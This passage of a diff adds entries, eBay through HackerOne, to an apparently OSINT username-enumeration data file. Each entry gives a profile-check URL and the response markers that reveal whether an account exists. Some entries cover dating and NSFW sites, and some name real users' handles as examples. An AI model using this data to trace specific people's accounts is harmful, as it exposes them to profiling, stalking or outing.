"eBay", + "uri_check": "https://www.ebay.com/usr/{account}", + "e_code": 200, + "e_string": "on eBay", + "m_string": "The User ID you entered was not found", + "m_code": 200, + "known": [ + "the_gqs", + "johnny" + ], + "cat": "shopping" + }, + { + "name": "ebay_stores", + "uri_check": "https://www.ebay.com/str/{account}", + "e_code": 200, + "e_string": "| eBay Stores", + "m_string": "Sorry, this store was not found.", + "m_code": 410, + "known": [ + "tactical", + "tactical-security" + ], + "cat": "shopping" + }, + { + "name": "Electrobel", + "uri_check": "https://be.electrobel.org/register.ajax", + "uri_pretty": "https://be.electrobel.org/{account}", + "post_body": "action=checkUsername&username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"html\":\"Username existsPlease choose another\"", + "m_string": "\"html\":\"Name is available\"", + "m_code": 200, + "known": [ + "wixel", + "Gloomer" + ], + "cat": "social" + }, + { + "name": "Engadget", + "uri_check": "https://www.engadget.com/about/editors/{account}/", + "e_code": 200, + "e_string": "\"displayName\"", + "m_string": ", - Engadget", + "m_code": 200, + "known": [ + "devindra-hardawar", + "kris-holt" + ], + "cat": "tech" + }, + { + "name": "EPORNER", + "uri_check": "https://www.eporner.com/xhr/check/", + "uri_pretty": "https://www.eporner.com/profile/{account}/", + "post_body": "xhr=1&act=check_login&login={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"msg_body\":\"This login already exists. Choose another one\"", + "m_string": "\"msg_body\":\"Available\"", + "m_code": 200, + "known": [ + "LAM_2030", + "DianaX814" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Etoro", + "uri_check": "https://www.etoro.com/api/logininfo/v1.1/users/{account}", + "uri_pretty": "https://www.etoro.com/people/{account}", + "e_code": 200, + "e_string": "\"gcid\":", + "m_string": "\"ErrorCode\":\"NotFound\"", + "m_code": 404, + "known": [ + "jeepsontrading", + "armandofoschini" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Etsy", + "uri_check": "https://www.etsy.com/people/{account}", + "e_code": 200, + "e_string": " favorite items - Etsy", + "m_string": "Sorry, the member you are looking for does not exist", + "m_code": 404, + "known": [ + "david", + "happiness" + ], + "cat": "shopping" + }, + { + "name": "Evolution CMS", + "uri_check": "https://community.evocms.ru/users/?search={account}", + "e_code": 200, + "e_string": "id=\"user-search\"", + "m_string": "", + "m_code": 200, + "known": [ + "Dmi3yy", + "Pathologic" + ], + "cat": "tech" + }, + { + "name": "Expressional.social (Mastodon Instance)", + "uri_check": "https://expressional.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://expressional.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "jippi", + "poolesen" + ], + "cat": "social" + }, + { + "name": "Eyeem", + "uri_check": "https://www.eyeem.com/u/{account}", + "e_code": 200, + "e_string": "Marketplace", + "m_string": "Not Found (404) | EyeEm", + "m_code": 301, + "known": [ + "john", + "bob" + ], + "cat": "art" + }, + { + "name": "F3", + "uri_check": "https://f3.cool/{account}", + "e_code": 200, + "e_string": "@", + "m_string": "Page Not Found - F3", + "m_code": 404, + "known": [ + "nick", + "john" + ], + "cat": "social" + }, + { + "name": "Fabswingers", + "uri_check": "https://www.fabswingers.com/profile/{account}", + "e_code": 200, + "e_string": "View Profile", + "m_string": "The user you tried to view doesn't seem to be on the site any more", + "m_code": 200, + "known": [ + "justusboth2013", + "hellfireclub", + "fabswingers.com" + ], + "cat": "dating" + }, + { + "name": "Facebook", + "uri_check": "https://www.facebook.com/{account}/", + "e_code": 200, + "e_string": "__isProfile", + "m_string": "<title>Facebook", + "m_code": 200, + "known": [ + "john.miniolic", + "adam" + ], + "cat": "social" + }, + { + "name": "FACEIT", + "uri_check": "https://www.faceit.com/api/users/v1/nicknames/{account}", + "uri_pretty": "https://www.faceit.com/en/players/{account}", + "e_code": 200, + "e_string": "\"result\":\"OK\"", + "m_string": "\"message\":\"user not found\"", + "m_code": 404, + "known": [ + "s1mple", + "w0nderful" + ], + "cat": "gaming" + }, + { + "name": "Faktopedia", + "uri_check": "https://faktopedia.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza fakty od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "janek", + "ania" + ], + "cat": "images" + }, + { + "name": "FanCentro", + "uri_check": "https://fancentro.com/api/profile.get?profileAlias={account}&limit=1", + "uri_pretty": "https://fancentro.com/{account}/", + "e_code": 200, + "e_string": "\"status\":true", + "m_string": "\"status\":false", + "m_code": 200, + "known": [ + "medroxy", + "miaaamador" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Fandom", + "uri_check": "https://www.fandom.com/u/{account}", + "e_code": 200, + "e_string": "| Profile | Fandom", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "EJacobs94", + "Drew_Dietsch" + ], + "cat": "gaming" + }, + { + "name": "fanpop", + "uri_check": "https://www.fanpop.com/fans/{account}", + "e_code": 200, + "e_string": "Fanpopping since", + "m_string": "", + "m_code": 302, + "known": [ + "test", + "johndoe" + ], + "cat": "social" + }, + { + "name": "Fansly", + "uri_check": "https://apiv2.fansly.com/api/v1/account?usernames={account}", + "uri_pretty": "https://fansly.com/{account}/posts", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"response\":[]", + "m_code": 200, + "known": [ + "Mikomin", + "test" + ], + "cat": "xx NSFW xx", + "protection": [ + "cloudfront" + ] + }, + { + "name": "Fark", + "uri_check": "https://www.fark.com/users/{account}", + "e_code": 200, + "e_string": "Fark account number", + "m_string": "Tastes like chicken.", + "m_code": 200, + "known": [ + "bob", + "bobby" + ], + "cat": "social" + }, + { + "name": "FatSecret", + "uri_check": "https://www.fatsecret.com/member/{account}", + "e_code": 200, + "e_string": "- Member", + "m_string": "Your Key to Success", + "m_code": 302, + "known": [ + "bob", + "bobby" + ], + "cat": "health" + }, + { + "name": "Federated.press (Mastodon Instance)", + "uri_check": "https://federated.press/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://federated.press/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "wood", + "cliffcheney" + ], + "cat": "social" + }, + { + "name": "Figma", + "uri_check": "https://www.figma.com/api/profile/handle/{account}", + "uri_pretty": "https://www.figma.com/@{account}", + "e_code": 200, + "e_string": "\"status\":200", + "m_string": "\"status\":404", + "m_code": 404, + "known": [ + "bob", + "mike" + ], + "cat": "tech", + "protection": [ + "cloudfront" + ] + }, + { + "name": "Filmot Channel Search", + "uri_check": "https://filmot.com/channelsearch/{account}", + "e_code": 200, + "e_string": "Subscribers", + "m_string": "No channels found", + "m_code": 200, + "known": [ + "bobicraft", + "parodiadoranimado" + ], + "cat": "archived" + }, + { + "name": "Filmot Unlisted Videos", + "uri_check": "https://filmot.com/unlistedSearch?channelQuery={account}&sortField=uploaddate&sortOrder=desc&", + "e_code": 200, + "e_string": "clips found", + "m_string": "No results", + "m_code": 200, + "known": [ + "holasoygerman", + "elrubiusomg" + ], + "cat": "archived" + }, + { + "name": "Filmweb", + "uri_check": "https://www.filmweb.pl/user/{account}", + "e_code": 200, + "e_string": "profil w Filmweb", + "m_string": "Varnish 404", + "m_code": 200, + "known": [ + "test", + "Marcin_P" + ], + "cat": "hobby" + }, + { + "name": "fine_art_america", + "uri_check": "https://fineartamerica.com/profiles/{account}", + "e_code": 200, + "e_string": "Shop for artwork by", + "m_string": "Browse through millions of independent artists in our extensive", + "m_code": 301, + "known": [ + "scott-norris", + "mary-helmreich" + ], + "cat": "shopping" + }, + { + "name": "Fiverr", + "uri_check": "https://www.fiverr.com/validate_username", + "uri_pretty": "https://www.fiverr.com/{account}", + "post_body": "{\"username\": \"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 201, + "e_string": "\"errorKeys\":[[\"username\",\"user_taken\"]]", + "m_string": "\"status\":\"success\"", + "m_code": 201, + "known": [ + "yellowdd", + "samanvay" + ], + "cat": "shopping" + }, + { + "name": "FL.ru", + "uri_check": "https://www.fl.ru/users/{account}/portfolio/", + "e_code": 200, + "e_string": "class=\"page-profile\"", + "m_string": "content=\"404 Not Found\"", + "m_code": 404, + "known": [ + "makediffdev", + "moldanovadasha" + ], + "cat": "social", + "protection": [ + "ddos-guard" + ] + }, + { + "name": "Flickr", + "uri_check": "https://www.flickr.com/photos/{account}/", + "e_code": 200, + "e_string": "| Flickr", + "m_string": "", + "m_code": 404, + "known": [ + "glaciernps", + "test" + ], + "cat": "images" + }, + { + "name": "Flightradar24", + "uri_check": "https://my.flightradar24.com/{account}/", + "e_code": 200, + "e_string": "class=\"profile-card\" data-profile-user=", + "m_string": "class=\"main page-not-found-main", + "m_code": 404, + "known": [ + "finn", + "pavelkral" + ], + "cat": "misc" + }, + { + "name": "Flipboard", + "uri_check": "https://flipboard.com/@{account}", + "e_code": 200, + "e_string": ") on Flipboard", + "m_string": "", + "m_code": 404, + "known": [ + "cosmopolitan", + "Mashable" + ], + "cat": "tech" + }, + { + "name": "flowcode", + "uri_check": "https://www.flowcode.com/page/{account}", + "e_code": 200, + "e_string": ";s Flowpage", + "m_string": "Nobody's reserved this Flowpage yet.", + "m_code": 404, + "known": [ + "evdokia", + "irina" + ], + "cat": "social" + }, + { + "name": "Fodors Forum", + "uri_check": "https://www.fodors.com/community/profile/{account}/forum-activity", + "e_code": 200, + "e_string": "User Profile | Fodor’s Travel", + "m_string": "Plan Your Trip Online", + "m_code": 302, + "known": [ + "jdstraveler", + "gooster" + ], + "cat": "social" + }, + { + "name": "Folkd", + "uri_check": "https://www.folkd.com/?app=core&module=system&controller=ajax&do=usernameExists&input={account}", + "uri_pretty": "https://www.folkd.com/search/?q={account}&quick=1&type=core_members", + "e_code": 200, + "e_string": "\"message\":\"That display name is in use by another member.\"", + "m_string": "\"result\":\"ok\"", + "m_code": 200, + "known": [ + "smartplayapk", + "abdulmerfantz" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Fortnite Tracker", + "uri_check": "https://fortnitetracker.com/profile/all/{account}", + "e_code": 200, + "e_string": "s Fortnite Stats - Fortnite Tracker", + "m_string": "Fortnite Player Stats -", + "m_code": 404, + "known": [ + "steph", + "sam" + ], + "cat": "gaming" + }, + { + "name": "forumprawne.org", + "uri_check": "https://forumprawne.org/members/{account}.html", + "e_code": 200, + "e_string": "Wiadomość", + "m_string": "", + "m_code": 500, + "known": [ + "test", + "test2" + ], + "cat": "misc" + }, + { + "name": "Fosstodon.org (Mastodon Instance)", + "uri_check": "https://fosstodon.org/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://fosstodon.org/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "linux", + "Phil35" + ], + "cat": "social" + }, + { + "name": "fotka", + "uri_check": "https://api.fotka.com/v2/user/dataStatic?login={account}", + "uri_pretty": "https://fotka.com/profil/{account}", + "e_code": 200, + "e_string": "profil", + "m_string": "ERROR", + "m_code": 200, + "known": [ + "test", + "test2" + ], + "cat": "social" + }, + { + "name": "Fotolog Archived Profile", + "uri_check": "https://archive.org/wayback/available?url=https://www.fotolog.com/{account}", + "uri_pretty": "https://web.archive.org/web/2/fotolog.com/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "x_zudex_x", + "angelito" + ], + "cat": "archived" + }, + { + "name": "Foursquare", + "uri_check": "https://foursquare.com/{account}", + "e_code": 200, + "e_string": "class=\"userProfile2Page\"", + "m_string": "", + "m_code": 308, + "known": [ + "j0hn", + "ncyp23" + ], + "cat": "social" + }, + { + "name": "freeCodeCamp", + "uri_check": "https://api.freecodecamp.org/users/get-public-profile?username={account}", + "uri_pretty": "https://www.freecodecamp.org/{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "{}", + "m_code": 404, + "known": [ + "zaira", + "caesarsage" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Freelance.RU", + "uri_check": "https://freelance.ru/{account}", + "e_code": 200, + "e_string": "class=\" user-top-container user-portfolio\"", + "m_string": "class=\"msg_error alert alert-danger\"", + "m_code": 404, + "known": [ + "sunsey", + "semanticlan" + ], + "cat": "business" + }, + { + "name": "Freelance.ua", + "uri_check": "https://freelance.ua/user/{account}/", + "e_code": 200, + "e_string": "p-profile-avatar", + "m_string": "Схоже, дана сторінка не знайдена", + "m_code": 404, + "known": [ + "tkachenkoalex", + "oleksandrseo1" + ], + "cat": "social" + }, + { + "name": "Freelancehunt Employer", + "uri_check": "https://freelancehunt.com/en/employer/{account}.html", + "e_code": 200, + "e_string": "\"@id\":\"https://freelancehunt.com/en/employers\"", + "m_string": "User not found.", + "m_code": 404, + "known": [ + "vadym1232", + "Dekovital" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Freelancehunt Freelancer", + "uri_check": "https://freelancehunt.com/en/freelancer/{account}.html", + "e_code": 200, + "e_string": "\"@id\":\"https://freelancehunt.com/en/freelancers\"", + "m_string": "User not found.", + "m_code": 404, + "known": [ + "rhythmdev_top", + "Zainka" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Freelancer", + "uri_check": "https://www.freelancer.com/api/users/0.1/users?usernames%5B%5D={account}&compact=true", + "uri_pretty": "https://www.freelancer.com/u/{account}", + "e_code": 200, + "e_string": "\"users\":{\"", + "m_string": "\"users\":{}", + "m_code": 200, + "known": [ + "desiaunty", + "creatvmind" + ], + "cat": "business" + }, + { + "name": "freesound", + "uri_check": "https://freesound.org/people/{account}/section/stats/?ajax=1", + "uri_pretty": "https://freesound.org/people/{account}/", + "e_code": 200, + "e_string": "forum posts", + "m_string": "

    Page not found

    ", + "m_code": 404, + "known": [ + "Manu593", + "somewhereinjp" + ], + "cat": "music" + }, + { + "name": "FreeSteamKeys", + "uri_check": "https://www.freesteamkeys.com/members/{account}/", + "e_code": 200, + "e_string": "item-header-avatar", + "m_string": "error404", + "m_code": 404, + "known": [ + "giveaway-su", + "keygenerator" + ], + "cat": "gaming" + }, + { + "name": "FriendFinder", + "uri_check": "https://friendfinder.com/profile/{account}", + "e_code": 200, + "e_string": "Last Visit:", + "m_string": "302 Found", + "m_code": 302, + "known": [ + "alex56", + "john" + ], + "cat": "dating" + }, + { + "name": "FriendFinder-X", + "uri_check": "https://www.friendfinder-x.com/profile/{account}", + "e_code": 200, + "e_string": "'s Dating Profile on FriendFinder-x", + "m_string": "The document has moved", + "m_code": 302, + "known": [ + "john" + ], + "cat": "dating" + }, + { + "name": "Fur Affinity", + "uri_check": "https://www.furaffinity.net/user/{account}/", + "e_code": 200, + "e_string": "", + "m_string": "

    System Error

    ", + "m_code": 200, + "known": [ + "karintina", + "mikrogoat" + ], + "cat": "images" + }, + { + "name": "Gab", + "uri_check": "https://gab.com/api/v1/account_by_username/{account}", + "uri_pretty": "https://gab.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"Record not found\"", + "m_code": 404, + "known": [ + "RealMarjorieGreene", + "LaurenBoebert" + ], + "cat": "political" + }, + { + "name": "Game Jolt", + "uri_check": "https://gamejolt.com/site-api/web/profile/@{account}/", + "uri_pretty": "https://gamejolt.com/@{account}", + "e_code": 200, + "e_string": "created_on", + "m_string": "null,", + "m_code": 404, + "known": [ + "nilllzz", + "KorbloxTeams" + ], + "cat": "gaming" + }, + { + "name": "game_debate", + "uri_check": "https://www.game-debate.com/profile/{account}", + "e_code": 200, + "e_string": "| , , GB pc game performance", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "Johnboy", + "Crazy" + ], + "cat": "gaming" + }, + { + "name": "Gamer DVR", + "uri_check": "https://gamerdvr.com/gamer/{account}", + "e_code": 200, + "e_string": "class=\"gamerpic\"", + "m_string": "You are being <", + "m_code": 302, + "known": [ + "dnlunger", + "punksxe" + ], + "cat": "gaming" + }, + { + "name": "Gamespot", + "uri_check": "https://www.gamespot.com/profile/{account}/summary/activity/?ajax", + "uri_pretty": "https://www.gamespot.com/profile/{account}/", + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 200, + "known": [ + "alice", + "bob" + ], + "cat": "gaming", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Garmin connect", + "uri_check": "https://connect.garmin.com/modern/profile/{account}", + "e_code": 200, + "e_string": "window.ERROR_VIEW = null", + "m_string": "resourceNotFoundRoute", + "m_code": 200, + "known": [ + "tommy", + "cderalow" + ], + "cat": "health" + }, + { + "name": "GDBrowser", + "uri_check": "https://gdbrowser.com/api/profile/{account}", + "uri_pretty": "https://gdbrowser.com/u/{account}", + "e_code": 200, + "e_string": "\"accountID\":", + "m_string": "-1", + "m_code": 500, + "known": [ + "SorkoPiko", + "Subwoofer" + ], + "cat": "gaming" + }, + { + "name": "GeeksForGeeks", + "uri_check": "https://authapi.geeksforgeeks.org/api-get/user-profile-info/?handle={account}", + "uri_pretty": "https://www.geeksforgeeks.org/user/{account}/", + "e_code": 200, + "e_string": "\"message\":\"data retrieved successfully\"", + "m_string": "\"message\":\"User not found!\"", + "m_code": 400, + "known": [ + "nath_789", + "harshrajsinghsiwan", + "igovindindia" + ], + "cat": "coding" + }, + { + "name": "Genius (Artists)", + "uri_check": "https://genius.com/artists/{account}", + "e_code": 200, + "e_string": "class=\"profile_header\"", + "m_string": "class=\"render_404\"", + "m_code": 404, + "known": [ + "Profjam", + "Hozier" + ], + "cat": "music" + }, + { + "name": "Genius (Users)", + "uri_check": "https://genius.com/{account}", + "e_code": 200, + "e_string": "class=\"profile_header\"", + "m_string": "class=\"render_404\"", + "m_code": 404, + "known": [ + "Rabe8i", + "Tobias_the_explicator" + ], + "cat": "music" + }, + { + "name": "Geocaching", + "uri_check": "https://www.geocaching.com/p/?u={account}", + "e_code": 200, + "e_string": "class=\"hax-profile\"", + "m_string": "class=\"callout http-error\"", + "m_code": 404, + "known": [ + "moun10bike", + "niraD", + "john" + ], + "cat": "social" + }, + { + "name": "getmonero", + "uri_check": "https://forum.getmonero.org/user/{account}", + "e_code": 200, + "e_string": "Monero | User", + "m_string": "Monero | Page not found. Error: 404", + "m_code": 200, + "known": [ + "silverfox", + "monero" + ], + "cat": "misc" + }, + { + "name": "Gettr", + "uri_check": "https://gettr.com/api/s/uinf/{account}", + "uri_pretty": "https://gettr.com/user/{account}", + "e_code": 200, + "e_string": "\"rc\":\"OK\"", + "m_string": "\"rc\":\"ERR\"", + "m_code": 400, + "known": [ + "gettr", + "support" + ], + "cat": "social" + }, + { + "name": "Gigapan", + "uri_check": "https://www.gigapan.com/profiles/{account}", + "e_code": 200, + "e_string": "width=\"100\"", + "m_string": "View Gigapans", + "m_code": 404, + "known": [ + "test", + "lucahammer" + ], + "cat": "hobby" + }, + { + "name": "Giphy (Channel)", + "uri_check": "https://giphy.com/channel/{account}", + "e_code": 200, + "e_string": "\\\"user_id\\\"", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "teddy_99", + "LastYear" + ], + "cat": "images", + "protection": [ + "other" + ] + }, + { + "name": "Gitea", + "uri_check": "https://gitea.com/api/v1/users/{account}", + "uri_pretty": "https://gitea.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"message\":\"user redirect does not exist", + "m_code": 404, + "known": [ + "xin", + "dev", + "jane" + ], + "cat": "coding" + }, + { + "name": "Gitee", + "uri_check": "https://gitee.com/{account}", + "e_code": 200, + "e_string": "class=\"ui container user_page\"", + "m_string": "class=\"container error midCenter\"", + "m_code": 404, + "known": [ + "maxim", + "fupengfei" + ], + "cat": "coding" + }, + { + "name": "GitHub", + "uri_check": "https://api.github.com/users/{account}", + "uri_pretty": "https://github.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"status\": \"404\"", + "m_code": 404, + "known": [ + "test", + "WebBreacher" + ], + "cat": "coding" + }, + { + "name": "GitHub Gists", + "uri_check": "https://api.github.com/users/{account}/gists", + "uri_pretty": "https://gist.github.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"status\": \"404\"", + "m_code": 404, + "known": [ + "teymurgahramanov", + "WebBreacher" + ], + "cat": "coding" + }, + { + "name": "GitLab", + "uri_check": "https://gitlab.com/api/v4/users?username={account}", + "uri_pretty": "https://gitlab.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "skennedy", + "KennBro" + ], + "cat": "coding" + }, + { + "name": "gloria.tv", + "uri_check": "https://gloria.tv/{account}", + "e_code": 200, + "e_string": "Last online", + "m_string": "Page unavailable", + "m_code": 404, + "known": [ + "Irapuato", + "en.news" + ], + "cat": "social" + }, + { + "name": "GNOME (GitLab)", + "uri_check": "https://gitlab.gnome.org/api/v4/users?username={account}", + "uri_pretty": "https://gitlab.gnome.org/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "MystikNinja", + "0xMRTT" + ], + "cat": "coding", + "protection": [ + "anubis" + ] + }, + { + "name": "GNOME (Shell Extensions)", + "uri_check": "https://extensions.gnome.org/accounts/profile/{account}", + "e_code": 200, + "e_string": "class=\"user-details\"", + "m_string": "

    404 - Page not Found

    ", + "m_code": 404, + "known": [ + "johnny", + "dev" + ], + "cat": "coding" + }, + { + "name": "GOG", + "uri_check": "https://www.gog.com/u/{account}", + "e_code": 200, + "e_string": "window.profilesData.profileUser", + "m_string": "href=\"http://www.gog.com/404\"", + "m_code": 302, + "known": [ + "user", + "Admin" + ], + "cat": "gaming" + }, + { + "name": "Goodgame_Russia", + "uri_check": "https://goodgame.ru/channel/{account}/", + "e_code": 200, + "e_string": "channel_id", + "m_string": "Такой страницы не существует", + "m_code": 400, + "known": [ + "ejysarmat", + "JacksonTV" + ], + "cat": "gaming" + }, + { + "name": "gpodder.net", + "uri_check": "https://gpodder.net/user/{account}/", + "e_code": 200, + "e_string": "mdash; gpodder.net", + "m_string": "404 - Not found", + "m_code": 404, + "known": [ + "blue", + "red" + ], + "cat": "music" + }, + { + "name": "grandprof", + "uri_check": "https://grandprof.org/communaute/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "Mauvaise pioche", + "m_code": 404, + "known": [ + "mohamed01", + "amine" + ], + "cat": "misc" + }, + { + "name": "Graphics.social (Mastodon Instance)", + "uri_check": "https://graphics.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://graphics.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "brian", + "moonpotato" + ], + "cat": "social" + }, + { + "name": "Gravatar", + "uri_check": "https://en.gravatar.com/{account}.json", + "uri_pretty": "https://en.gravatar.com/{account}", + "e_code": 200, + "e_string": "entry", + "m_string": "User not found", + "m_code": 404, + "known": [ + "test" + ], + "cat": "images" + }, + { + "name": "Greasy Fork", + "uri_check": "https://greasyfork.org/en/users?q={account}", + "e_code": 200, + "e_string": "class=\"user-list\"", + "m_string": "

    No users!

    ", + "m_code": 200, + "known": [ + "TScofield", + "gitscofield" + ], + "cat": "tech" + }, + { + "name": "GTAinside.com", + "uri_check": "https://www.gtainside.com/user/{account}", + "e_code": 200, + "e_string": "userpage_user", + "m_string": "

    404 Not Found", + "m_code": 200, + "known": [ + "daniel", + "franco" + ], + "cat": "gaming" + }, + { + "name": "gumroad", + "uri_check": "https://{account}.gumroad.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "s profile picture", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "ellietalksmoney", + "reallyniceimages" + ], + "cat": "shopping" + }, + { + "name": "Habbo.com", + "uri_check": " https://www.habbo.com/api/public/users?name={account}", + "uri_pretty": " https://www.habbo.com/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "john", + "michelle" + ], + "cat": "gaming" + }, + { + "name": "Habbo.com.br", + "uri_check": "https://www.habbo.com.br/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.com.br/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "jeaniucas", + "cellao" + ], + "cat": "gaming" + }, + { + "name": "Habbo.com.tr", + "uri_check": "https://www.habbo.com.tr/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.com.tr/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "fatma9180", + "elektrikci" + ], + "cat": "gaming" + }, + { + "name": "Habbo.de", + "uri_check": "https://www.habbo.de/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.de/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "klaus", + "angelinaa" + ], + "cat": "gaming" + }, + { + "name": "Habbo.es", + "uri_check": " https://www.habbo.es/api/public/users?name={account}", + "uri_pretty": " https://www.habbo.es/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "not-found", + "m_code": 404, + "known": [ + "juan", + "michelle" + ], + "cat": "gaming" + }, + { + "name": "Habbo.fi", + "uri_check": "https://www.habbo.fi/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.fi/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "cucumberz", + "Yasline" + ], + "cat": "gaming" + }, + { + "name": "Habbo.fr", + "uri_check": "https://www.habbo.fr/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.fr/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "2006", + "sicilienne" + ], + "cat": "gaming" + }, + { + "name": "Habbo.it", + "uri_check": "https://www.habbo.it/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.it/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "samsebek", + "papablu" + ], + "cat": "gaming" + }, + { + "name": "Habbo.nl", + "uri_check": "https://www.habbo.nl/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.nl/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "XOTWOD.xx", + "xoSorxo" + ], + "cat": "gaming" + }, + { + "name": "Habr", + "uri_check": "https://habr.com/ru/users/{account}/", + "e_code": 200, + "e_string": "tm-page tm-user", + "m_string": "tm-error-message", + "m_code": 404, + "known": [ + "Bo0oM", + "AlhimicMan" + ], + "cat": "social" + }, + { + "name": "Habr Employer", + "uri_check": "https://freelance.habr.com/freelancers/{account}/employer", + "e_code": 200, + "e_string": "user-profile profile-blocks", + "m_string": "icon_user_locked", + "m_code": 404, + "known": [ + "aufdk", + "Danvantariy" + ], + "cat": "social" + }, + { + "name": "Habr Freelancer", + "uri_check": "https://freelance.habr.com/freelancers/{account}", + "e_code": 200, + "e_string": "user-profile profile-blocks", + "m_string": "icon_user_locked", + "m_code": 404, + "known": [ + "Bo0oM", + "Akloom" + ], + "cat": "social" + }, + { + "name": "Habr Q&A", + "uri_check": "https://qna.habr.com/user/{account}", + "e_code": 200, + "e_string": "class=\"page-header__info\"", + "m_string": "icon_error_404", + "m_code": 404, + "known": [ + "Masthead", + "dmitriypur" + ], + "cat": "coding" + }, + { + "name": "Habtium", + "uri_check": "https://habtium.es/{account}", + "e_code": 200, + "e_string": "
    Oops!", + "m_code": 404, + "known": [ + "diegjeremy", + "suigetsu" + ], + "cat": "gaming" + }, + { + "name": "Hackaday.io", + "uri_check": "https://hackaday.io/{account}", + "strip_bad_char": "-", + "e_code": 200, + "e_string": "class=\"following-container \"", + "m_string": "class=\"error-nav\"", + "m_code": 404, + "known": [ + "john", + "adam" + ], + "cat": "hobby" + }, + { + "name": "Hackadvisor", + "uri_check": "https://hackadvisor.io/api/v2/profile/{account}/", + "uri_pretty": "https://hackadvisor.io/hacker/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "{\"detail\":\"Username not found\"}", + "m_code": 404, + "known": [ + "WorstWurst", + "shriyanss" + ], + "cat": "tech" + }, + { + "name": "Hacker News", + "uri_check": "https://news.ycombinator.com/user?id={account}", + "e_code": 200, + "e_string": "created:", + "m_string": "No such user.", + "m_code": 200, + "known": [ + "mubix", + "egypt" + ], + "cat": "tech" + }, + { + "name": "hackerearth", + "uri_check": "https://www.hackerearth.com/@{account}", + "e_code": 200, + "e_string": "| Developer Profile on HackerEarth", + "m_string": "404 | HackerEarth", + "m_code": 200, + "known": [ + "peter", + "liam" + ], + "cat": "coding" + }, + { + "name": "Hackernoon", + "uri_check": "https://hackernoon.com/_next/data/foL6JC7ro2FEEMD-gMKgQ/u/{account}.json", + "uri_pretty": "https://hackernoon.com/u/{account}", + "e_code": 200, + "e_string": "\"profile\"", + "m_string": "__N_REDIRECT", + "m_code": 200, + "known": [ + "john", + "alex" + ], + "cat": "tech" + }, + { + "name": "HackerOne", + "uri_check": "https://hackerone.com/graphql", + "uri_pretty": "https://hackerone.com/{account}", + "post_body": "{\"query\":\"query($url: URI!) {\\n resource(url: $url) {\\n ... on User { username }\\n }\\n }\",\"variables\":{\"url\":\"{account}\"}}", + "headers": { + 